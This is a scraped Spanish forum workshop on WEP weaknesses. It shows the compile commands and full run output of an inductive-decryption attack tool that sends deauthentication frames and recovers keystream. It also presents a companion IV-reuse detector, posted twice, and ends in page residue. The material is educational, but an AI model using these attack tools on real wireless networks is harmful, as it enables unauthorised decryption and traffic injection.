Recuerda cmo funcionabe el programa: Tenemos 40 bytes a descubrir, bueno, realmente 40 15 = 25 Puesto que los 15 primeros ya son bien conocidos Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles. Entre envo y envo la funcin ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del ltimo paquete enviado, por tanto en el peor de los casos, que
30/10/2011
Page 90 of 94
sera descubrir el byte bueno como ltima combinacin (256), el tiempo mximo del ataque es: (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos mximo. Un milln de ms (1.000.000) es un segundo Claro, eso en las peores condiciones, que sera agotar por cada byte sus 256 posibilidades, como eso no ocurrir, digamos que de 8 a 10 minutos es lo normal Sin embargo, podra haberse perpetuado el ataque
en menos de 25
segundos!!!!!
Ehhh???? Pues s, si hubisemos estado un poco mas espabilados, podramos haber creado una tabla con los 256 ICVs posibles de cada candidato a enviar, de tal forma que al tenerlos ya calculados podemos enviar continuamente rfagas de 256 posibles combinaciones (el envo de 256 paquetes no llega a un segundo). De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta, Sencillamente envo, leo, envio, leo, envio, leo y as hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICVs generada y a por otro... esto es muchsimo ms rpido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso en menos de 25 segundos lo tenemos. El "problema" de usar este otro mtodo, es que los envos son ms rpidos que las respuestas, por tanto, eso de envo-leo, envo-leo no es del todo as... la respuesta no ser acorde al lrimo paquete enviado... igual es 112 paquetes mas atrs... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qu paquete la provoc. Aun as, prefer hacerlo del modo que se ha resuelto, parece como mas claro: envo, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc Cuando veamos cmo funciona el ataque chophop y lo llevemos a la prctica, s que usaremos esto de la tabla de ICVs, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma tcnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla. Bueno, venga, vale... te pongo un link de descarga de la versin rpida, se llama arpdecode5.c http://www.megaupload.com/?d=LU210GBT (http://www.megaupload.com/?d=LU210GBT) Lo guardas en el directorio de las fuentes de aircrack y lo compilas: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o arpdecode5.o arpdecode5.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep lssl -lcrypto
30/10/2011
Page 91 of 94
Ahora, vamos a ejecutarlo: (#) (#) Cdigo: Taller_WiFi src # ./arpdecode5 eth1 Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D **** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D: Desautenticacin **************** C0 00 3C 02 FF FF FF FF FF FF 00 16 B6 41 03 5D 00 16 B6 41 03 5D 00 00 04 00 Enviando Desautenticacin nmero 8 <---- Encontrado paquete ----> <---- Esperando 3 Segundos---> Paquete CIFRADO ORIGINAL (solo los datos + ICV) *********************************************** 4B 33 B8 7C 1F CF 1C 37 93 26 FF AC 1F E4 E0 7B 1A 25 47 4E 7A FB 21 0F 54 0F EF 35 C5 EB 1B A0 F8 58 65 A7 FB 1E 9B 2F
-> Byte num. 1 Candidato n/a decode AA <--- DATOS conocidos -> Byte num. 2 Candidato n/a decode AA <--- DATOS conocidos -> Byte num. 3 Candidato n/a decode 03 <--- DATOS conocidos -> Byte num. 4 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 5 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 6 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 7 Candidato n/a decode 08 <--- DATOS conocidos -> Byte num. 8 Candidato n/a decode 06 <--- DATOS conocidos -> Byte num. 9 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 10 Candidato n/a decode 01 <--- DATOS conocidos -> Byte num. 11 Candidato n/a decode 08 <--- DATOS conocidos
keystream E1 byte --> CABECERA SNAP keystream 99 byte --> CABECERA SNAP keystream BB byte --> CABECERA SNAP keystream 7C byte --> CABECERA SNAP keystream 1F byte --> CABECERA SNAP keystream E4 byte --> CABECERA SNAP keystream E8 byte --> Protocolo ARP keystream 7D byte --> Protocolo ARP keystream 54 byte --> Hardware Ethernet keystream 0E byte --> Hardware Ethernet keystream E7 byte --> Protocolo IP
cifrado: 4B cifrado: 33 cifrado: B8 cifrado: 7C cifrado: 1F cifrado: E4 cifrado: E0 cifrado: 7B cifrado: 54 cifrado: 0F cifrado: EF
byte byte byte byte byte byte byte byte byte byte byte
30/10/2011
Page 92 of 94
-> Byte num. 12 Candidato n/a keystream 35 byte decode 00 <--- DATOS conocidos --> Protocolo IP -> Byte num. 13 Candidato n/a keystream FE byte decode 06 <--- DATOS conocidos --> Longitud MAC -> Byte num. 14 Candidato n/a keystream 5C byte decode 04 <--- DATOS conocidos --> Versin IP -> Byte num. 15 Candidato n/a keystream 65 byte decode 00 <--- DATOS conocidos --> ARP (REQ RESP) -> Byte num. 16 Candidato BF keystream A6 byte decode 01 <--- ARP REQUEST -> Byte num. 17 Candidato 3E keystream 1F byte decode 00 <--- MAC ORIGEN -> Byte num. 18 Candidato 27 keystream D8 byte decode 17 <--- MAC ORIGEN -> Byte num. 19 Candidato 67 keystream 86 byte decode 9A <--- MAC ORIGEN -> Byte num. 20 Candidato 66 keystream F4 byte decode C3 <--- MAC ORIGEN -> Byte num. 21 Candidato C4 keystream CC byte decode D6 <--- MAC ORIGEN -> Byte num. 22 Candidato 6E keystream 9C byte decode B9 <--- MAC ORIGEN -> Byte num. 23 Candidato 67 keystream 4D byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 24 Candidato F3 keystream 44 byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 25 Candidato 3D keystream CF byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 26 Candidato B2 keystream 23 byte decode C8 <--- IP ORIGEN (decimal 200) -> Byte num. 27 Candidato 5E keystream 1B byte decode 00 <--- MAC DESTINO -> Byte num. 28 Candidato C5 keystream A0 byte decode 00 <--- MAC DESTINO -> Byte num. 29 Candidato DC keystream FB byte decode 00 <--- MAC DESTINO -> Byte num. 30 Candidato DD keystream 1E byte decode 00 <--- MAC DESTINO -> Byte num. 31 Candidato CB keystream 9B byte decode 00 <--- MAC DESTINO -> Byte num. 32 Candidato DB keystream 2F byte decode 00 <--- MAC DESTINO -> Byte num. 33 Candidato 17 keystream 99 byte decode 0A <--- IP DESTINO (decimal 10) -> Byte num. 34 Candidato BD keystream 2C byte decode 0A <--- IP DESTINO (decimal 10) -> Byte num. 35 Candidato CB keystream F5 byte decode 0A <--- IP DESTINO (decimal 10)
cifrado: 35 cifrado: F8 cifrado: 58 cifrado: 65 cifrado: A7 cifrado: 1F cifrado: CF cifrado: 1C cifrado: 37 cifrado: 1A cifrado: 25 cifrado: 47 cifrado: 4E cifrado: C5 cifrado: EB cifrado: 1B cifrado: A0 cifrado: FB cifrado: 1E cifrado: 9B cifrado: 2F cifrado: 93 cifrado: 26 cifrado: FF
byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte
30/10/2011
Page 93 of 94
-> Byte num. 36 Candidato 9D keystream decode C9 <--- IP DESTINO (decimal 201) -> Byte num. 37 Candidato B0 keystream decode 4D <--- ICV CRC32 -> Byte num. 38 Candidato 02 keystream decode 68 <--- ICV CRC32 -> Byte num. 39 Candidato 4C keystream decode C6 <--- ICV CRC32 -> Byte num. 40 Candidato 4E keystream decode 69 <--- ICV CRC32 Tipo ARP: REQUEST MAC ORIGEN: 00 17 9A C3 D6 B9 IP ORIGEN: 10.10.10.200. MAC DESTINO: 00 00 00 00 00 00 IP DESTINO: 10.10.10.201. Parmetros WEP ************** IV completo: F3 6F 00 00 Num de KEY usada: 00 keystream; F3 6F 00 00 FE 5C 65 A6 FB 1E 9B 2F
65 37 93 E7 66
byte cifrado: AC byte cifrado: 7A byte cifrado: FB byte cifrado: 21 byte cifrado: 0F
byte byte byte byte byte
E1 99 BB 7C 1F D8 86 F4 99 2C F5 65
1F E4 E8 7D CC 9C 4D 44 37 93 E7 66
54 0E E7 35 CF 23 1B A0
Duracin del ataque: 20 segundos Taller_WiFi src # Taller_WiFi src #
Como ves, 20 programado
segundos!!!! que frente a los 13 minutos del anterior... pues como mejor
En el cdigo fuente del mismo tienes todos los comentarios necesarios para comprender cmo funciona y por qu es tan rpido. Que lo disfrutes. No vamos a menospreciar al lento, nos vendr muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IVs no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar contramedidas y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegar. Ahora, un detector, para el siguiente post. Arriba (#top) Siguiente Mostrar
30/10/2011
Page 94 of 94
mensajes previos:
Todos los mensajes
Ordenar por
Fecha publicacin Ascendente Ir

Volver a Zona Inalmbrica
Saltar a:
Zona Inalmbrica
Ir
Quin est conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 0 invitados
Powered by phpBB 2000, 2002, 2005, 2007 phpBB Group. Designed by ST Software for PTF. Traduccin al espaol por Huan Manw
30/10/2011
Page 1 of 4
Obviar


Dom Ago 02, 2009 11:35 pm
VULNERABILIDADES WEP. PARTE III. Prctica (II) (#p56308)
VULNERABILIDADES WEP. PARTE III. Prctica (II)

Todos los ataues que estamos estudiando, tienen un punto comn: La reutilizacin de un IV Como ya dije hace tiempo, esto es precisamente el mayor problema de WEP, no hay control sobre el uso de un mismo IV, peor an, tal y como est diseado el protocolo, no tiene solucin. Por tanto lo nico que un administrador puede hacer contra ataques de tipo replay (sa sea una reinyeccin, ataque inductivo, reactivo, chopchop, flipping, etc...) es disponer de sensores en la red que le adviertan de tal circunstancia. Los IDS inalmbricos incorporan este tipo de alertas, nosotros vamos a disear una muy sencilla. El programa lo he bautizado detectorIV.c lo puedes descargar desde: http://www.megaupload.com/?d=M7YP4VZ2 (http://www.megaupload.com/?d=M7YP4VZ2) Lo guardamos junto los cdigos fuente de aircrack y lo compilamos: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o detectorIV.o detectorIV.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude detectorIV.o common.o crypto.o -o detectorIV -Losdep -losdep lssl -lcrypto
El funcionamiento del mismo es muy simple: El programa llama a una funcin: detectar_reenvio
http://www.wadalbertia.org/foro/viewtopic.php?f=7&t=5589&sid=0d05f5614e7cdef9... 30/10/2011
Page 2 of 4
En esta funcin, se introduce la red a controlar (en esta ocasin y para variar un poco de los otros ejercicios), en lugar de pasar un Bssid como parmetro, debemos escribir el ESSID. Quizs de lo mas significativo de este programa de cara a este Taller WiFi es el modo en el que se conoce el essid de un paquete capturado. Los essid pueden viajar en diferentes tramas, en beacons, probes y alguna otra tambin como los EAP. En este caso analizamos una trama de tipo beacon, es una trama de administracin por lo que lo primero que tiene que hacer nuestro programa es analizar ese tipo de trama. Para saber si es una trama de administracin tipo beacon basta con comprobar si el byte cero (el primer byte del Frame Control) es igual o no a 0x80. Si se trata de un beacon (byte 0 es 0x80) debemos analizar los bytes 36,37 y sucesivos, de forma que: (#) (#) Cdigo: 256 x el contenido del byte 36 + contenido del byte 37 = longitud del essid
En nuestro ejemplo, el essid que buscamos es TallerWIFI, esto son 10 bytes de longitud, por lo que byte 36 = 0x00 y byte 37 = 0x0A (10 en decimal) Los bytes 38 y siguientes contienen cada una de las letras del essid. (#) (#) Cdigo: Byte 38 = T Byte 39 = a Byte 40 = l Byte 41 = l Byte 42 = e Byte 43 = r Byte 44 = W Byte 45 = I Byte 46 = F Byte 47 = I
De ese modo poremos comparar si lo escrito por teclado se corresponde con lo capturado en el aire. Una vez ledo el beacon correcto extraemos el bssid de la red, esto est en la posicin +10 del paquete capturado y tendr (claro est) una longitud de 6 bytes. Con el bssid apropiado, la funcin continua con el anlisis de paquetes de datos y entra en un ciclo infinito el cual almacena en diferentes arrays los ltimos 200 paquetes ledos.
Page 3 of 4
Cada vez que se completen esos 200 paquetes se analizan todos con todos en busca de IVs duplicados, si en esa rfaga de 200 paquetes capturados encontramos mas de un 5% de IVs duplicados (10 IVs) se asume que hay ataque contra la red. El programa mostrar el IV repetido, la mac origen, la mac destino en el caso de que existan duplicidades (mas de 20) Sera posible bajar ese umbral de IVs, por ejemplo, cuando se detecte mas de uno duplicado, pero puede arrojar falsos positivos, sobretodo en redes muy grandes. Tambin has de tener en cuenta que son 200 paquetes de datos, es decir, el programa discrimina los beacon, probes, tramas de control y administracin. Si en esos 200 paquetes se encuentran mas de 10 duplicados, es que hay ataque a la vista. Lo mismo que de costumbre, en el cdigo hay comentarios acerca de cada lnea (las interesantes) es conveniente que lo revises para que comprendas el funcionamiento del mismo. No es que est muy depurado, pero puede servir, si lo ejecutas. (#) (#) Cdigo: Taller_WiFi src # ./detectorIV eth1 Escribe el ESSID de la red a monitorizar --> TallerWIFI Esperando un beacon de: TallerWIFI --> Recibido un beacon de: TallerWIFI BSSID --> 28:F4:D1:B7:FC:EF Esperando paquetes de datos..... Capturado IV num: 199 [B1 74 00 00] Ataque de reinyeccin detectado!!! IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 17 9A C3 D6 B9 repetidos de 200 IV's procesados Capturado IV num: 399 [B1 74 00 00] Ataque de reinyeccin detectado!!! IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 A0 CC D0 EB 5A repetidos de 200 IV's procesados Capturado IV num: 599 [B1 74 00 00] Ataque de reinyeccin detectado!!!
MAC Destino =========== 00 A0 CC D0 EB 5A
Num.
13
Num.
195
Page 4 of 4
IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 A0 CC D0 EB 5A repetidos de 200 IV's procesados ...... ......
Num.
197
Hasta aqu esta tercera parte de vulnerabilidades WEP, por el momento, todos los ataques de adivinacin para descifrar el mensaje protegido con WEP se basan en el conocimiento completo del texto plano (caso de ataquePLANO.c) o parcial (caso del arpdecode4.c) de un paquete cifrado. En estas pruebas, el atacante era conocedor de la totalidad del contenido del mensaje en texto plano o poda suponer una parte del mismo y reconstruir el resto mediante el ataque inductivo. Las siguientes pruebas que haremos (en la cuarta parte y siguientes) ya no partirn de estas premisas, en las prcticas venideras, el atacante desconocer por completo el mensaje que se est transmitiendo, no se harn suposiciones acerca si es un ARP, TCP, UDP, etc.. sencillamente ser un misterio, y sin embargo como veremos, seremos capaces de descifrar el mensaje completo y obtener el keystream necesario para poder enviar cualquier paquete de datos a la red.
Hasta entonces
Arriba (#top) Anterior Mostrar mensajes previos:
Todos los mensajes
Ordenar por

Saltar a:
Zona Inalmbrica
Ir
Quin est conectado?

Page 1 of 4
Obviar


Dom Ago 02, 2009 11:35 pm
VULNERABILIDADES WEP. PARTE III. Prctica (II) (#p56308)
VULNERABILIDADES WEP. PARTE III. Prctica (II)

Todos los ataues que estamos estudiando, tienen un punto comn: La reutilizacin de un IV Como ya dije hace tiempo, esto es precisamente el mayor problema de WEP, no hay control sobre el uso de un mismo IV, peor an, tal y como est diseado el protocolo, no tiene solucin. Por tanto lo nico que un administrador puede hacer contra ataques de tipo replay (sa sea una reinyeccin, ataque inductivo, reactivo, chopchop, flipping, etc...) es disponer de sensores en la red que le adviertan de tal circunstancia. Los IDS inalmbricos incorporan este tipo de alertas, nosotros vamos a disear una muy sencilla. El programa lo he bautizado detectorIV.c lo puedes descargar desde: http://www.megaupload.com/?d=M7YP4VZ2 (http://www.megaupload.com/?d=M7YP4VZ2) Lo guardamos junto los cdigos fuente de aircrack y lo compilamos: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o detectorIV.o detectorIV.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude detectorIV.o common.o crypto.o -o detectorIV -Losdep -losdep lssl -lcrypto
El funcionamiento del mismo es muy simple: El programa llama a una funcin: detectar_reenvio
Page 2 of 4
En esta funcin, se introduce la red a controlar (en esta ocasin y para variar un poco de los otros ejercicios), en lugar de pasar un Bssid como parmetro, debemos escribir el ESSID. Quizs de lo mas significativo de este programa de cara a este Taller WiFi es el modo en el que se conoce el essid de un paquete capturado. Los essid pueden viajar en diferentes tramas, en beacons, probes y alguna otra tambin como los EAP. En este caso analizamos una trama de tipo beacon, es una trama de administracin por lo que lo primero que tiene que hacer nuestro programa es analizar ese tipo de trama. Para saber si es una trama de administracin tipo beacon basta con comprobar si el byte cero (el primer byte del Frame Control) es igual o no a 0x80. Si se trata de un beacon (byte 0 es 0x80) debemos analizar los bytes 36,37 y sucesivos, de forma que: (#) (#) Cdigo: 256 x el contenido del byte 36 + contenido del byte 37 = longitud del essid
En nuestro ejemplo, el essid que buscamos es TallerWIFI, esto son 10 bytes de longitud, por lo que byte 36 = 0x00 y byte 37 = 0x0A (10 en decimal) Los bytes 38 y siguientes contienen cada una de las letras del essid. (#) (#) Cdigo: Byte 38 = T Byte 39 = a Byte 40 = l Byte 41 = l Byte 42 = e Byte 43 = r Byte 44 = W Byte 45 = I Byte 46 = F Byte 47 = I
De ese modo poremos comparar si lo escrito por teclado se corresponde con lo capturado en el aire. Una vez ledo el beacon correcto extraemos el bssid de la red, esto est en la posicin +10 del paquete capturado y tendr (claro est) una longitud de 6 bytes. Con el bssid apropiado, la funcin continua con el anlisis de paquetes de datos y entra en un ciclo infinito el cual almacena en diferentes arrays los ltimos 200 paquetes ledos.
Page 3 of 4
Cada vez que se completen esos 200 paquetes se analizan todos con todos en busca de IVs duplicados, si en esa rfaga de 200 paquetes capturados encontramos mas de un 5% de IVs duplicados (10 IVs) se asume que hay ataque contra la red. El programa mostrar el IV repetido, la mac origen, la mac destino en el caso de que existan duplicidades (mas de 20) Sera posible bajar ese umbral de IVs, por ejemplo, cuando se detecte mas de uno duplicado, pero puede arrojar falsos positivos, sobretodo en redes muy grandes. Tambin has de tener en cuenta que son 200 paquetes de datos, es decir, el programa discrimina los beacon, probes, tramas de control y administracin. Si en esos 200 paquetes se encuentran mas de 10 duplicados, es que hay ataque a la vista. Lo mismo que de costumbre, en el cdigo hay comentarios acerca de cada lnea (las interesantes) es conveniente que lo revises para que comprendas el funcionamiento del mismo. No es que est muy depurado, pero puede servir, si lo ejecutas. (#) (#) Cdigo: Taller_WiFi src # ./detectorIV eth1 Escribe el ESSID de la red a monitorizar --> TallerWIFI Esperando un beacon de: TallerWIFI --> Recibido un beacon de: TallerWIFI BSSID --> 28:F4:D1:B7:FC:EF Esperando paquetes de datos..... Capturado IV num: 199 [B1 74 00 00] Ataque de reinyeccin detectado!!! IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 17 9A C3 D6 B9 repetidos de 200 IV's procesados Capturado IV num: 399 [B1 74 00 00] Ataque de reinyeccin detectado!!! IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 A0 CC D0 EB 5A repetidos de 200 IV's procesados Capturado IV num: 599 [B1 74 00 00] Ataque de reinyeccin detectado!!!
Num.
13
Num.
195
Page 4 of 4
IV duplicado MAC Origen Duplicados ============ ========== =============== B1 74 00 00 00 A0 CC D0 EB 5A repetidos de 200 IV's procesados ...... ......
Num.
197
Hasta aqu esta tercera parte de vulnerabilidades WEP, por el momento, todos los ataques de adivinacin para descifrar el mensaje protegido con WEP se basan en el conocimiento completo del texto plano (caso de ataquePLANO.c) o parcial (caso del arpdecode4.c) de un paquete cifrado. En estas pruebas, el atacante era conocedor de la totalidad del contenido del mensaje en texto plano o poda suponer una parte del mismo y reconstruir el resto mediante el ataque inductivo. Las siguientes pruebas que haremos (en la cuarta parte y siguientes) ya no partirn de estas premisas, en las prcticas venideras, el atacante desconocer por completo el mensaje que se est transmitiendo, no se harn suposiciones acerca si es un ARP, TCP, UDP, etc.. sencillamente ser un misterio, y sin embargo como veremos, seremos capaces de descifrar el mensaje completo y obtener el keystream necesario para poder enviar cualquier paquete de datos a la red.
Hasta entonces
Arriba (#top) Anterior Mostrar mensajes previos:
Todos los mensajes
Ordenar por

Saltar a:
Zona Inalmbrica
Ir
Quin est conectado?


Protocolo 802.11 Taller Wifi de Vic - Thor - Completo

Загружено:

Сведения о документе

Оригинальное название

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Protocolo 802.11 Taller Wifi de Vic - Thor - Completo

Загружено:

Авторское право:

Доступные форматы

Wadalbertia Ver Tema - PROTOCOLO 802.11.

FAQ Buscar Registrarse Identificarse Wadalbertia

PROTOCOLO 802.11. TALLER WiFi

Tema cerrado 16 mensajes Pgina 1 de 2 1, 2

PROTOCOLO 802.11. TALLER WiFi (#p56061)

PROTOCOLO 802.11. TALLER WiFi.

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

12:23 am, editado 2 veces en total Arriba (#top)

ESTRUCTURA DE UN FRAME CONTROL (#p56062)

ESTRUCTURA DE UN FRAME CONTROL

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

de comunicacin entre puntos de acceso. El FC de un beacon es:

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

El FC de una Solicitud de Asociacin es:

As mismo, la respuesta de la asociacin es esta:

El FC para una Solicitud de reasociacin es:

El FC para una Respuesta de reasociacin es:

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

ANLISIS DE CAPTURA DE TRFICO 802.11 (#p56064)

ANLISIS DE CAPTURA DE TRFICO 802.11

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Paquete 2. Probe Request

Paquete 3. Probe Response

Paquete 5. Trama de Control. ACK

Paquete 7. Trama de Control ACK

Paquete 8. Asociacin Request

Paquete 9. Trama de Control. ACK

Paquete 10. Asociacin Response.

Paquete 11. Trama de Control. ACK

Paquete 12. Trama de Datos

Paquete 13. Trama de Datos

Paquete 14. Desautenticacin

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

12:43 am, editado 3 veces en total Arriba (#top)

LA DANZA DE MACS Y TIPOS DE TRAMA (#p56065)

LA DANZA DE MACS Y TIPOS DE TRAMA

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

12:06 am, editado 1 vez en total Arriba (#top)

10 PREGUNTAS SENCILLAS (#p56066)

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Saludos. Arriba (#top)

Seguimos con el Taller.

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Y si existiese un nodo oculto como en el ejemplo anterior, quedara as:

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

Practicando DoS en 802.11 (#p56097)

Practicando DoS en 802.11

1.- La base de los programas que usaremos.

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi

En este punto ya podemos usarla pero veamos nuestro primer programa:

2.- Crear un pequeo esnifer para examinar el trfico. Programa wifiesnif.c

Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi